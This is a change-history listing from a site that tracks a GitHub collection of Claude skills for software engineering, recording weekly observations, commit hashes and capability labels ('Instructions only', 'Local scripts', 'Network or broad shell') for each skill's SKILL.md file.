Not in the top 1,000 by GitHub stars

ArabelaTso/Skills-4-SE

A curated list of 180+ useful Claude Skills for Software Engineering and resources for customizing AI for SE workflows.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/abstract-domain-explorer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/abstract-invariant-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/abstract-state-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/abstract-trace-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/acsl-annotation-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-browser/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/ambiguity-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/api-design-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/api-documentation-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/assertion-synthesizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/behavior-preservation-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/behavioral-mutation-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/bisect-aware-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/bug-history-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/bug-localization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/bug-reproduction-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/bug-to-patch-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/build-ci-migration-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/c-cpp-to-lean4-translator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/cd-pipeline-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/change-log-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/ci-pipeline-synthesizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-change-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-comment-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-completion-semantic-constraints/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-instrumentation-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-optimizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-pattern-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-refactoring-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-repair-generation-combo/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-review-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-search-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-smell-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/code-translation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/component-boundary-identifier/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/config-consistency-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/configuration-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/conflict-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/containerization-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/control-flow-abstraction-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/counterexample-debugger/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/counterexample-explainer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/counterexample-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/counterexample-to-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/coverage-enhancer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/cpp-to-dafny-translator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/critical-interval-security-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/cve-reachability-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/cve-watchlist-action-recommendation-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/dead-code-eliminator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/dead-code-removal/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/dependency-resolver/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/deprecated-api-updater/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/design-pattern-suggestor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/design-smell-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/directed-test-input-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/edge-case-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/environment-setup-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/error-explanation-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/exploitability-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/failure-oriented-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/flaky-test-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/formal-spec-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/framework-migration-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/frontend-ui-ux/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/function-class-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/fuzzing-input-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/git-bisect-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/git-master/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/github-triage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/imperative-to-coq-model-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/incremental-java-programmer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/incremental-python-programmer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/init-deep/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/integration-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/interface-contract-verifier/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/interface-specification-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/interval-difference-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/interval-guided-regression-test-update/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/interval-profiling-performance-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/invariant-inference/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/issue-report-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/java-api-consistency-validator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/java-regression-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/java-test-updater/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/legacy-code-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/lemma-discovery-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/library-for-proof-advisor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/linkedin/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/lsp-refactoring/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/markdown-document-structurer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub
